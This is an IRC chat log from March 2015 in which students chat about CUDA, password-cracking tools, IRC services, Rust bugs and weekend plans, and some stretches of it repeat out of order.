[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T03:10:22-0400] <Pharyngeal> night
[2015-03-13T11:18:03-0400] <LittleBobbyTables> awe, if you ever do find out my number without asking someone for it, text me :P
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[2015-03-13T13:13:01-0400] <+awe> LittleBobbyTables: I still don't understand how your workplace has an incorrect phone number for you. .-.
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[2015-03-13T13:31:56-0400] <+awe> So, one of my projects gives us solution binaries.
[2015-03-13T13:32:24-0400] <+awe> I wonder if it would've worked for me to change the make file to make it copy the solution files to the non-solution names at the end.
[2015-03-13T13:32:28-0400] <+awe> They probably wouldn't notice.
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[2015-03-13T13:37:22-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-13T01:52:59-0400] <bob_twinkles> I don't *think* pittsburgh is that expensive, but that's totally just "all the houses were really small" and not because I've actually looked at data
[2015-03-13T01:53:12-0400] <+awe> CMU is private anyway. :\
[2015-03-13T01:53:20-0400] <bob_twinkles> ah, right
[2015-03-13T01:54:16-0400] <bob_twinkles> apparently it's low-ish rent and expensive on everything else
[2015-03-13T01:54:20-0400] <LittleBobbyTables> I wish oclhashcat were open source :/
[2015-03-13T01:54:55-0400] <bob_twinkles> there's always john the ripper =P
[2015-03-13T01:55:42-0400] <LittleBobbyTables> shh
[2015-03-13T01:56:33-0400] <LittleBobbyTables> i want to start learning cuda
[2015-03-13T01:56:52-0400] <bob_twinkles> if you know C you basically know cuda
[2015-03-13T01:57:17-0400] <bob_twinkles> _tuning_ cuda on the other hand requires Big Boy Tools from nvidia and I think those are expensive AF
[2015-03-13T01:57:48-0400] <LittleBobbyTables> You can get them for free
[2015-03-13T01:57:53-0400] <LittleBobbyTables> well actually
[2015-03-13T01:57:56-0400] <LittleBobbyTables> I can get them for free
[2015-03-13T01:58:04-0400] <bob_twinkles> oh right, nvsight is free isn't it
[2015-03-13T01:58:14-0400] <LittleBobbyTables> Yeah
[2015-03-13T01:58:36-0400] <LittleBobbyTables> numbapro (python cuda) is free for students
[2015-03-13T01:58:44-0400] <bob_twinkles> I dunno, I tried getting the free-tier intel perf analysis tools and that was mostly a fail
[2015-03-13T01:58:50-0400] <bob_twinkles> it gave me a download link but now worky =(
[2015-03-13T01:59:17-0400] <LittleBobbyTables> you broke it
[2015-03-13T01:59:22-0400] <bob_twinkles> probably
[2015-03-13T02:00:03-0400] <bob_twinkles> someone in ##opengl recommend oprofile though, and that seems like it's pretty neat
[2015-03-13T02:00:15-0400] <bob_twinkles> wait shit when did 2:00 happen o_O
[2015-03-13T02:00:18-0400] <bob_twinkles> frickin DST
[2015-03-13T02:00:25-0400] <+awe> bob_twinkles: oh lord.
[2015-03-13T02:00:38-0400] <+awe> bob_twinkles: most teachers commute like 45+ mins to UCLA
[2015-03-13T02:00:39-0400] <+awe> that's insane.
[2015-03-13T02:00:44-0400] <bob_twinkles> meh, tomorrow is my easy class day
[2015-03-13T02:00:48-0400] <bob_twinkles> ouch
[2015-03-13T02:02:42-0400] <+awe> Welp, that's a problem for future me.
[2015-03-13T02:02:50-0400] <+awe> That poor sap.
[2015-03-13T02:03:33-0400] <+awe> Five-to-eight-years-from-now-me will have to figure out where to teach.
[2015-03-13T02:04:49-0400] <LittleBobbyTables> Meh whatever. I guess I'll learn C eventually.
[2015-03-13T02:05:11-0400] <LittleBobbyTables> oclhashcat should make do with a couple trillion hashes a second, I guess.
[2015-03-13T02:05:49-0400] <bob_twinkles> I can almost guarantee you that your naive implementation will not be faster than hashcat =P
[2015-03-13T02:06:12-0400] <LittleBobbyTables> I can guarantee that as well.
[2015-03-13T02:06:37-0400] <LittleBobbyTables> That's not the point though :P  I  still want to learn how to do it.
[2015-03-13T02:07:11-0400] <bob_twinkles> learning is always good
[2015-03-13T02:07:17-0400] • bob_twinkles: -> bed
[2015-03-13T02:07:27-0400] <bob_twinkles> goddamn DST is fuck'n me up f'real
[2015-03-13T02:15:18-0400] <Tamini> god
[2015-03-13T02:15:25-0400] <Tamini> bob_twinkles went to bed before me
[2015-03-13T02:15:26-0400] <Tamini> this is bad
[2015-03-13T02:15:28-0400] • Tamini: bed
[2015-03-13T02:15:30-0400] <Tamini> gnight guys <3
[2015-03-13T03:10:22-0400] <Pharyngeal> night
[2015-03-13T11:18:03-0400] <LittleBobbyTables> awe, if you ever do find out my number without asking someone for it, text me :P
[2015-03-13T13:13:01-0400] <+awe> LittleBobbyTables: I still don't understand how your workplace has an incorrect phone number for you. .-.
[2015-03-13T13:31:56-0400] <+awe> So, one of my projects gives us solution binaries.
[2015-03-13T13:32:24-0400] <+awe> I wonder if it would've worked for me to change the make file to make it copy the solution files to the non-solution names at the end.
[2015-03-13T13:32:28-0400] <+awe> They probably wouldn't notice.
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[2015-03-13T13:52:22-0400] <+awe> Also, the next assignment is interesting. http://www-edlab.cs.umass.edu/cs230/hw/hw6/overview/
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[2015-03-21T22:23:12-0400] <Tamini> hardmath123: :OO
[2015-03-21T22:23:23-0400] <Tamini> oh, speaking of injuring hummingbirds with projectiles
[2015-03-21T22:23:33-0400] <Tamini> my dad promised to take me shooting sometime in the nearish future
[2015-03-21T22:23:39-0400] <Tamini> and I'm super excited :D
[2015-03-21T22:23:42-0400] <hardmath123> Tamini: O_o
[2015-03-21T22:23:48-0400] <Tamini> I really want to learn how to shoot.
[2015-03-21T22:24:04-0400] <Tamini> Like rifling is really interesting to me.
[2015-03-21T22:24:06-0400] <hardmath123> Shoot... birds?
[2015-03-21T22:24:16-0400] <Tamini> well, shoot targets
[2015-03-21T22:24:21-0400] <hardmath123> oh ok
[2015-03-21T22:24:23-0400] <Tamini> but there are some areas where you can legally shoot down birds
[2015-03-21T22:24:27-0400] <Tamini> because there's too many
[2015-03-21T22:24:39-0400] <Tamini> and my dad says it's a lot more fun shooting moving targets.
[2015-03-21T22:24:41-0400] <jwoglom> "oh no! ashley has a gun! run!!" :P
[2015-03-21T22:24:51-0400] <hardmath123> you don't seem like the types who would willingly shoot live animal
[2015-03-21T22:24:57-0400] <hardmath123> but maybe we don't know you that well :P
[2015-03-21T22:26:16-0400] <Tamini> well, iunno.
[2015-03-21T22:26:37-0400] <Tamini> My dad's been talking to me a lot about hunting, which I find really cool as a sport
[2015-03-21T22:26:46-0400] <Tamini> and venison is actually really good 
[2015-03-21T22:27:00-0400] <Tamini> plus deer population control!
[2015-03-21T22:27:00-0400] <grantwu> Goddamit why is cclub so incompetent
[2015-03-21T22:27:12-0400] <Tamini> but then I don't think I could deal with ACTUALLY killing something, so... >_>
[2015-03-21T22:27:21-0400] <grantwu> I'm pretty sure in the real world, when servers go down, the answer is not "wait for fsck to finish"
[2015-03-21T22:28:18-0400] <sdamashek> well if data was corrupted, that would be a sane response :P
[2015-03-21T22:28:20-0400] <jwoglom> grantwu: in the real world, you have redundancy :P
[2015-03-21T22:28:28-0400] <jwoglom> (hopefully)
[2015-03-21T22:28:32-0400] <sdamashek> jwoglom: isn't that the ideal world?
[2015-03-21T22:28:54-0400] <jwoglom> sdamashek: shouldn't we hope that the real world IS the ideal world? :P
[2015-03-21T22:29:03-0400] <sdamashek> well yes, that's the idea
[2015-03-21T22:29:05-0400] <sdamashek> :P
[2015-03-21T22:29:28-0400] <sdamashek> anything that's important, at least...
[2015-03-21T22:29:31-0400] <jwoglom> i mean, i dunno what the real world is like
[2015-03-21T22:29:36-0400] <jwoglom> i've never stepped foot outside of my house
[2015-03-21T22:30:24-0400] <sdamashek> I just use that secret google teleporter
[2015-03-21T22:30:31-0400] <sdamashek> that I'm not supposed to talk about
[2015-03-21T22:31:12-0400] <Tamini> ooh
[2015-03-21T22:31:14-0400] <Tamini> can we share
[2015-03-21T22:31:19-0400] <jwoglom> ah yes, i was wondering why when i went to the google campus no one looked tired from having to walk around :P
[2015-03-21T22:31:29-0400] <sdamashek> their "bikes" are a sham
[2015-03-21T22:31:35-0400] <jwoglom> ""bikes""
[2015-03-21T22:33:07-0400] <jwoglom> i love how pfoley has brought up stuff like "google has a great solution for this :)" before
[2015-03-21T22:33:19-0400] <jwoglom> then when anyone asks about it he says "i can't share, pls don't talk about it"
[2015-03-21T22:34:44-0400] <sdamashek> mhm :(
[2015-03-21T22:38:52-0400] <grantwu> Why can't we just deploy self-healing filesystems everywhere
[2015-03-21T22:39:31-0400] <grantwu> ZFS has been in the wild for a decade 
[2015-03-21T22:39:40-0400] <grantwu> But thanks GPL
[2015-03-21T22:39:42-0400] <jwoglom> isn't zfs kind of complicated to set up and maintain
[2015-03-21T22:40:15-0400] <grantwu> Not that I'm aware of.
[2015-03-21T22:40:26-0400] <grantwu> It requires less maintenance, as far as I know
[2015-03-21T22:40:37-0400] <grantwu> Okay, I suppose it's both CDDL and GPL's fault.
[2015-03-21T22:49:38-0400] Mode is +nt
[2015-03-21T22:51:19-0400] <awe> Hi, guys.
[2015-03-21T22:51:59-0400] <sdamashek> hey
[2015-03-21T22:53:34-0400] <Tamini> awe.
[2015-03-21T22:53:38-0400] <Tamini> I've missed you a ton.
[2015-03-21T22:54:04-0400] <jwoglom> hey, it's awe!!
[2015-03-21T22:55:31-0400] <awe> I'm so tired. Argh.
[2015-03-21T22:55:46-0400] <awe> And this after sleeping for like ten hours.
[2015-03-21T22:55:55-0400] <Tamini> where were you before?
[2015-03-21T22:56:09-0400] <awe> I was in Boston.
[2015-03-21T22:58:03-0400] <Tamini> ah.
[2015-03-21T22:58:30-0400] <grantwu> Awe I found a Rust criticism! huehuehue
[2015-03-21T22:58:36-0400] <awe> What's that?
[2015-03-21T22:58:53-0400] <hardmath123> awe: you're back! <3 we missed you.
[2015-03-21T22:59:37-0400] <grantwu>  https://github.com/rust-lang/rust/issues/6268 and https://github.com/rust-lang/rust/issues/6393
[2015-03-21T23:00:05-0400] <grantwu> Apparently these have been unfixed for way too long
[2015-03-21T23:00:08-0400] <grantwu> Also, welcome back :D
[2015-03-21T23:00:50-0400] <awe> I knew about the first one.
[2015-03-21T23:01:31-0400] <awe> And the second one.
[2015-03-21T23:01:43-0400] <awe> The second one is superbly hard to fix.
[2015-03-21T23:02:22-0400] <awe> grantwu: non-lexical borrow scopes is hard.
[2015-03-21T23:02:34-0400] <grantwu> xD I didn't actually read the bugs.
[2015-03-21T23:02:42-0400] <awe> grantwu: neither of these things are unsolvable, fundamental issues with Rust. They're just hard bugs.
[2015-03-21T23:03:00-0400] <grantwu> ik.  someone on HN just an a beef with the impl
[2015-03-21T23:07:41-0400] • awe: shrugs.
[2015-03-21T23:07:48-0400] <awe> That's a silly thing to be upset about because they do want to fix it.
[2015-03-21T23:08:18-0400] <grantwu> I believe he had a very frustrating time implementing something because of the issues
[2015-03-21T23:12:39-0400] <LittleBobbyTables> awe
[2015-03-21T23:12:42-0400] <LittleBobbyTables> y u no voice
[2015-03-21T23:13:16-0400] awe sets mode +v awe
[2015-03-21T23:13:31-0400] <sdamashek> there's our good old benevolent dictator!
[2015-03-21T23:13:32-0400] <+awe> LittleBobbyTables: because you assaulted my network.
[2015-03-21T23:13:36-0400] <LittleBobbyTables> I did no such thing
[2015-03-21T23:13:53-0400] <jwoglom> something something netsplits
[2015-03-21T23:15:49-0400] <Tamini> awe, can we get services back now?
[2015-03-21T23:15:57-0400] <Tamini> I feel like we might want them
[2015-03-21T23:16:01-0400] <+awe> Our services are pretty awful.
[2015-03-21T23:16:16-0400] <Tamini> mm, isn't that better than no services though
[2015-03-21T23:16:33-0400] <+awe> Not really.
[2015-03-21T23:16:58-0400] <+awe> Here's what would happen: LittleBobbyTables would cause a netsplit and then join and change his nickname to Pidgey and then take all your passwords.
[2015-03-21T23:17:02-0400] <+awe> This is not an improvement.
[2015-03-21T23:17:03-0400] <jwoglom> awe: something something being able to gain op when awe isn't here?
[2015-03-21T23:17:08-0400] <+awe> See above.
[2015-03-21T23:17:32-0400] <+awe> Either way, the same issue exists.
[2015-03-21T23:17:38-0400] <+awe> You don't magically lose op all the time.
[2015-03-21T23:17:54-0400] <+awe> The only reason you lost it is because of a netsplit that LittleBobbyTables caused.
[2015-03-21T23:18:41-0400] <jwoglom> no, it was because people disconnected and re-connected overnight
[2015-03-21T23:18:47-0400] <jwoglom> and therefore lost op
[2015-03-21T23:19:46-0400] <sdamashek> we need some sort of services :>
[2015-03-21T23:19:50-0400] <+awe> Oh, well, that's 100% Jacob's fault.
[2015-03-21T23:19:55-0400] <sdamashek> awe: can't you just use atheme?
[2015-03-21T23:19:57-0400] <+awe> I gave him a bouncer and he decided not to use it.
[2015-03-21T23:19:59-0400] <+awe> sdamashek: I can.
[2015-03-21T23:20:05-0400] <Tamini> uhh wait
[2015-03-21T23:20:05-0400] <+awe> sdamashek: But it's super heavyweight.
[2015-03-21T23:20:11-0400] <Tamini> oh, right, owner.
[2015-03-21T23:20:16-0400] <sdamashek> or anope
[2015-03-21T23:20:25-0400] <sdamashek> awe: yeah, but it's services at least
[2015-03-21T23:20:29-0400] <sdamashek> anope is nice
[2015-03-21T23:20:54-0400] <jwoglom> people's internet connections go down, and bouncers do too
[2015-03-21T23:21:05-0400] <jwoglom> giving people bouncers won't solve the problem that people can't recover lost op
[2015-03-21T23:23:36-0400] <+awe> sdamashek: and ridiculously complex.
[2015-03-21T23:24:02-0400] <sdamashek> I've run atheme on a network, it worked well
[2015-03-21T23:24:26-0400] <grantwu> Or yooo we should use XMPP instead!
[2015-03-21T23:24:28-0400] <sdamashek> awe: why is it complex?
[2015-03-21T23:24:50-0400] <+awe> Too many ridiculous features.
[2015-03-21T23:25:14-0400] <sdamashek> you can disable them though iirc
[2015-03-21T23:28:32-0400] <ubuntor> hey awe
[2015-03-21T23:29:47-0400] <+awe> Hi, ubuntor.
[2015-03-21T23:29:54-0400] <+awe> sdamashek: I'm building anope right now.
[2015-03-21T23:30:07-0400] <sdamashek> awe: oh, cool
[2015-03-21T23:32:18-0400] <ubuntor> ooh
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[2015-03-22T00:01:22-0400] <hardmath123> "Do you know any ML-type languages?" "Yeah, I do HTML and XML."
[2015-03-22T00:01:29-0400] <+awe> eyyyy.
[2015-03-22T00:02:19-0400] <alokpathy> awe: Oh yay you're back
[2015-03-22T00:03:08-0400] <grantwu> oh joy.
[2015-03-22T00:03:28-0400] <grantwu> You know, by the "Do you know how to write a loop from 1 to 10" test, I fail that test for SML...
[2015-03-22T00:09:00-0400] <bob_twinkles> tail recursion!
[2015-03-22T00:09:09-0400] <bob_twinkles> at least, I assume that's how you'd do it in SML
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[2015-03-22T00:13:25-0400] <JacobEdelman> so, I've been playing a scifi rpg with ernest, berger, ben, and ezra
[2015-03-22T00:13:32-0400] <JacobEdelman> we had many many flashbakc
[2015-03-22T00:13:35-0400] <JacobEdelman> *flashbacks
[2015-03-22T00:13:41-0400] <JacobEdelman> until we got flashback overflow
[2015-03-22T00:13:51-0400] <bob_twinkles> lol
[2015-03-22T00:14:06-0400] <Tamini> wait darn 
[2015-03-22T00:14:09-0400] <Tamini> all them are home?
[2015-03-22T00:14:12-0400] <JacobEdelman> for now
[2015-03-22T00:14:14-0400] <Tamini> why is ernest never on pdgn :<
[2015-03-22T00:14:20-0400] <Tamini> berger*
[2015-03-22T00:14:23-0400] <Tamini> rip names.
[2015-03-22T00:14:37-0400] <alokpathy> JacobEdelman: Are they still there?
[2015-03-22T00:15:16-0400] <JacobEdelman> we had time travel, yoda, loli-(reverse trap?)-anime, nintendo, mystery, and star wars refrences
[2015-03-22T00:15:18-0400] <JacobEdelman> yes, they are
[2015-03-22T00:15:36-0400] <JacobEdelman> its still going it seems
[2015-03-22T00:15:45-0400] <JacobEdelman> ernest just brough in digimon
[2015-03-22T00:15:47-0400] <alokpathy> Oh, dang, lol
[2015-03-22T00:15:49-0400] <JacobEdelman> leaving everyone confused
[2015-03-22T00:15:52-0400] <alokpathy> JacobEdelman: Tell them I said hi
[2015-03-22T00:16:01-0400] <alokpathy> I had to go home so I could work on my pset .-.
[2015-03-22T00:16:04-0400] <alokpathy> I wanted to stay, though
[2015-03-22T00:16:12-0400] <JacobEdelman> excuses excuses
[2015-03-22T00:16:22-0400] <Tamini> oh dear
[2015-03-22T00:16:23-0400] <alokpathy> :(
[2015-03-22T00:16:27-0400] <Tamini> :(
[2015-03-22T00:16:27-0400] <alokpathy> I really did, though
[2015-03-22T00:16:31-0400] <Tamini> all you cool kids 
[2015-03-22T00:16:35-0400] <alokpathy> I should have left hours ago, lol
[2015-03-22T00:16:36-0400] <Tamini> with your socialness.
[2015-03-22T00:16:53-0400] <JacobEdelman> ernest played ben green being jealous of terrence toa
[2015-03-22T00:17:13-0400] <JacobEdelman> ezra played an annoying reccuring character who constantly dies
[2015-03-22T00:17:23-0400] <JacobEdelman> ben played a 50 year old stuck in 1st grade
[2015-03-22T00:17:40-0400] <JacobEdelman> berger played a space detective cowboy
[2015-03-22T00:17:52-0400] <JacobEdelman> (he says he was spike from cowboy bepop)
[2015-03-22T00:18:07-0400] <LittleBobbyTables> My friend got fired today, so he mooned his boss before he left and tipped the rest of the in store guys 40 bucks
[2015-03-22T00:18:24-0400] <alokpathy> I was the Martian Potato Monster who didn't do anything xD
[2015-03-22T00:18:49-0400] <JacobEdelman> I played KANG the DESTROYER OF WORLDS and RULER OF THE ZETABON STAR CLUSTER, undercover as a janitor
[2015-03-22T00:19:00-0400] <JacobEdelman> LittleBobbyTables: .....
[2015-03-22T00:19:39-0400] <Tamini> LOL
[2015-03-22T00:19:41-0400] <Tamini> also JacobEdelman 
[2015-03-22T00:19:43-0400] <Tamini> you're so shameless
[2015-03-22T00:19:44-0400] <Tamini> >___>
[2015-03-22T00:20:09-0400] <alokpathy> Lol
[2015-03-22T00:20:11-0400] <alokpathy> the HSCTf
[2015-03-22T00:20:34-0400] <JacobEdelman> :P, it is fun
[2015-03-22T00:20:49-0400] <alokpathy> I have no idea if people's reactions were positive or negative, lol
[2015-03-22T00:21:16-0400] <JacobEdelman> it was positive 
[2015-03-22T00:21:18-0400] <JacobEdelman> I think
[2015-03-22T00:21:20-0400] <+awe> Yess. My food is here.
[2015-03-22T00:21:35-0400] <+awe> Which is good because I'm starving.
[2015-03-22T00:22:16-0400] <assface> food is usually good
[2015-03-22T00:22:41-0400] <JacobEdelman> awe: we are having fun here
[2015-03-22T00:22:44-0400] <JacobEdelman> why did you not come
[2015-03-22T00:23:38-0400] <+awe> Maybe because I have barely slept in a week and the last thing I'd want to do is then drive four hours (after having already driven two to get back from Boston).
[2015-03-22T00:23:59-0400] <+awe> I got back at noon and slept until ten.
[2015-03-22T00:24:33-0400] <+awe> assface: indeed, especially since I haven't eaten today
[2015-03-22T00:25:19-0400] <JacobEdelman> awe: fine
[2015-03-22T00:29:47-0400] <assface> awe: really? Das cray
[2015-03-22T00:30:04-0400] <+awe> Yeah.
[2015-03-22T00:46:16-0400] Disconnected
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[2015-03-22T00:46:37-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-03-22T00:46:37-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-22T00:14:20-0400] <Tamini> berger*
[2015-03-22T00:14:23-0400] <Tamini> rip names.
[2015-03-22T00:14:37-0400] <alokpathy> JacobEdelman: Are they still there?
[2015-03-22T00:15:16-0400] <JacobEdelman> we had time travel, yoda, loli-(reverse trap?)-anime, nintendo, mystery, and star wars refrences
[2015-03-22T00:15:18-0400] <JacobEdelman> yes, they are
[2015-03-22T00:15:36-0400] <JacobEdelman> its still going it seems
[2015-03-22T00:15:45-0400] <JacobEdelman> ernest just brough in digimon
[2015-03-22T00:15:47-0400] <alokpathy> Oh, dang, lol
[2015-03-22T00:15:49-0400] <JacobEdelman> leaving everyone confused
[2015-03-22T00:15:52-0400] <alokpathy> JacobEdelman: Tell them I said hi
[2015-03-22T00:16:01-0400] <alokpathy> I had to go home so I could work on my pset .-.
[2015-03-22T00:16:04-0400] <alokpathy> I wanted to stay, though
[2015-03-22T00:16:12-0400] <JacobEdelman> excuses excuses
[2015-03-22T00:16:22-0400] <Tamini> oh dear
[2015-03-22T00:16:23-0400] <alokpathy> :(
[2015-03-22T00:16:27-0400] <Tamini> :(
[2015-03-22T00:16:27-0400] <alokpathy> I really did, though
[2015-03-22T00:16:31-0400] <Tamini> all you cool kids 
[2015-03-22T00:16:35-0400] <alokpathy> I should have left hours ago, lol
[2015-03-22T00:16:36-0400] <Tamini> with your socialness.
[2015-03-22T00:16:53-0400] <JacobEdelman> ernest played ben green being jealous of terrence toa
[2015-03-22T00:17:13-0400] <JacobEdelman> ezra played an annoying reccuring character who constantly dies
[2015-03-22T00:17:23-0400] <JacobEdelman> ben played a 50 year old stuck in 1st grade
[2015-03-22T00:17:40-0400] <JacobEdelman> berger played a space detective cowboy
[2015-03-22T00:17:52-0400] <JacobEdelman> (he says he was spike from cowboy bepop)
[2015-03-22T00:18:07-0400] <LittleBobbyTables> My friend got fired today, so he mooned his boss before he left and tipped the rest of the in store guys 40 bucks
[2015-03-22T00:18:24-0400] <alokpathy> I was the Martian Potato Monster who didn't do anything xD
[2015-03-22T00:18:49-0400] <JacobEdelman> I played KANG the DESTROYER OF WORLDS and RULER OF THE ZETABON STAR CLUSTER, undercover as a janitor
[2015-03-22T00:19:00-0400] <JacobEdelman> LittleBobbyTables: .....
[2015-03-22T00:19:39-0400] <Tamini> LOL
[2015-03-22T00:19:41-0400] <Tamini> also JacobEdelman 
[2015-03-22T00:19:43-0400] <Tamini> you're so shameless
[2015-03-22T00:19:44-0400] <Tamini> >___>
[2015-03-22T00:20:09-0400] <alokpathy> Lol
[2015-03-22T00:20:11-0400] <alokpathy> the HSCTf
[2015-03-22T00:20:34-0400] <JacobEdelman> :P, it is fun
[2015-03-22T00:20:49-0400] <alokpathy> I have no idea if people's reactions were positive or negative, lol
[2015-03-22T00:21:16-0400] <JacobEdelman> it was positive 
[2015-03-22T00:21:18-0400] <JacobEdelman> I think
[2015-03-22T00:21:20-0400] <+awe> Yess. My food is here.
[2015-03-22T00:21:35-0400] <+awe> Which is good because I'm starving.
[2015-03-22T00:22:16-0400] <assface> food is usually good
[2015-03-22T00:22:41-0400] <JacobEdelman> awe: we are having fun here
[2015-03-22T00:22:44-0400] <JacobEdelman> why did you not come
[2015-03-22T00:23:38-0400] <+awe> Maybe because I have barely slept in a week and the last thing I'd want to do is then drive four hours (after having already driven two to get back from Boston).
[2015-03-22T00:23:59-0400] <+awe> I got back at noon and slept until ten.
[2015-03-22T00:24:33-0400] <+awe> assface: indeed, especially since I haven't eaten today
[2015-03-22T00:25:19-0400] <JacobEdelman> awe: fine
[2015-03-22T00:29:47-0400] <assface> awe: really? Das cray
[2015-03-22T00:30:05-0400] <+awe> Yeah.
[2015-03-22T00:46:37-0400] Mode is +nt
[2015-03-22T01:06:50-0400] <nezorg> i had freebirds today
[2015-03-22T01:06:58-0400] <nezorg> it was good.
[2015-03-22T01:07:57-0400] <Tamini> hmm?
[2015-03-22T01:19:09-0400] <grantwu> bob_twinkles: Well, yes, but that doesn't qualify as a loop, i think.
[2015-03-22T01:19:29-0400] <bob_twinkles> grantwu: that's... how you loop in functional languages =P
[2015-03-22T01:20:05-0400] <grantwu> Well, eh, you accomplish the same thing, but it's not really a "loop"
[2015-03-22T01:20:05-0400] <bob_twinkles> think of it like a less dangerous goto =P
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[2015-03-22T01:35:24-0400] <nezorg> freebirds perhaps has too many calories
[2015-03-22T01:35:53-0400] <grantwu> ?
[2015-03-22T01:36:09-0400] <grantwu> Wow it's a restaurant
[2015-03-22T01:36:12-0400] <grantwu> nezorg: Wrong chat?
[2015-03-22T01:36:19-0400] <nezorg> nope!
[2015-03-22T01:36:32-0400] <grantwu> Oh
[2015-03-22T01:36:44-0400] <grantwu> Right, I didn't read that part oops
[2015-03-22T01:37:04-0400] • nezorg: also just has a love of random comments
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[2015-03-22T02:28:54-0400] <grantwu> http://puu.sh/gKuRj/e8808a4155.png
[2015-03-22T02:31:29-0400] <z3t> lol.
[2015-03-22T02:32:14-0400] <LittleBobbyTables> If I went on an adventure drunk, I might not remember it.
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[2015-03-22T10:34:15-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-22T00:16:36-0400] <Tamini> with your socialness.
[2015-03-22T00:16:53-0400] <JacobEdelman> ernest played ben green being jealous of terrence toa
[2015-03-22T00:17:13-0400] <JacobEdelman> ezra played an annoying reccuring character who constantly dies
[2015-03-22T00:17:23-0400] <JacobEdelman> ben played a 50 year old stuck in 1st grade
[2015-03-22T00:17:40-0400] <JacobEdelman> berger played a space detective cowboy
[2015-03-22T00:17:52-0400] <JacobEdelman> (he says he was spike from cowboy bepop)
[2015-03-22T00:18:07-0400] <LittleBobbyTables> My friend got fired today, so he mooned his boss before he left and tipped the rest of the in store guys 40 bucks
[2015-03-22T00:18:24-0400] <alokpathy> I was the Martian Potato Monster who didn't do anything xD
[2015-03-22T00:18:49-0400] <JacobEdelman> I played KANG the DESTROYER OF WORLDS and RULER OF THE ZETABON STAR CLUSTER, undercover as a janitor
[2015-03-22T00:19:00-0400] <JacobEdelman> LittleBobbyTables: .....
[2015-03-22T00:19:39-0400] <Tamini> LOL
[2015-03-22T00:19:41-0400] <Tamini> also JacobEdelman 
[2015-03-22T00:19:43-0400] <Tamini> you're so shameless
[2015-03-22T00:19:44-0400] <Tamini> >___>
[2015-03-22T00:20:09-0400] <alokpathy> Lol
[2015-03-22T00:20:11-0400] <alokpathy> the HSCTf
[2015-03-22T00:20:34-0400] <JacobEdelman> :P, it is fun
[2015-03-22T00:20:49-0400] <alokpathy> I have no idea if people's reactions were positive or negative, lol
[2015-03-22T00:21:16-0400] <JacobEdelman> it was positive 
[2015-03-22T00:21:18-0400] <JacobEdelman> I think
[2015-03-22T00:21:20-0400] <+awe> Yess. My food is here.
[2015-03-22T00:21:35-0400] <+awe> Which is good because I'm starving.
[2015-03-22T00:22:16-0400] <assface> food is usually good
[2015-03-22T00:22:41-0400] <JacobEdelman> awe: we are having fun here
[2015-03-22T00:22:44-0400] <JacobEdelman> why did you not come
[2015-03-22T00:23:38-0400] <+awe> Maybe because I have barely slept in a week and the last thing I'd want to do is then drive four hours (after having already driven two to get back from Boston).
[2015-03-22T00:23:59-0400] <+awe> I got back at noon and slept until ten.
[2015-03-22T00:24:33-0400] <+awe> assface: indeed, especially since I haven't eaten today
[2015-03-22T00:25:19-0400] <JacobEdelman> awe: fine
[2015-03-22T00:29:47-0400] <assface> awe: really? Das cray
[2015-03-22T00:30:05-0400] <+awe> Yeah.
[2015-03-22T01:06:50-0400] <nezorg> i had freebirds today
[2015-03-22T01:06:58-0400] <nezorg> it was good.
[2015-03-22T01:07:57-0400] <Tamini> hmm?
[2015-03-22T01:19:09-0400] <grantwu> bob_twinkles: Well, yes, but that doesn't qualify as a loop, i think.
[2015-03-22T01:19:29-0400] <bob_twinkles> grantwu: that's... how you loop in functional languages =P
[2015-03-22T01:20:05-0400] <grantwu> Well, eh, you accomplish the same thing, but it's not really a "loop"
[2015-03-22T01:20:05-0400] <bob_twinkles> think of it like a less dangerous goto =P
[2015-03-22T01:35:24-0400] <nezorg> freebirds perhaps has too many calories
[2015-03-22T01:35:53-0400] <grantwu> ?
[2015-03-22T01:36:09-0400] <grantwu> Wow it's a restaurant
[2015-03-22T01:36:12-0400] <grantwu> nezorg: Wrong chat?
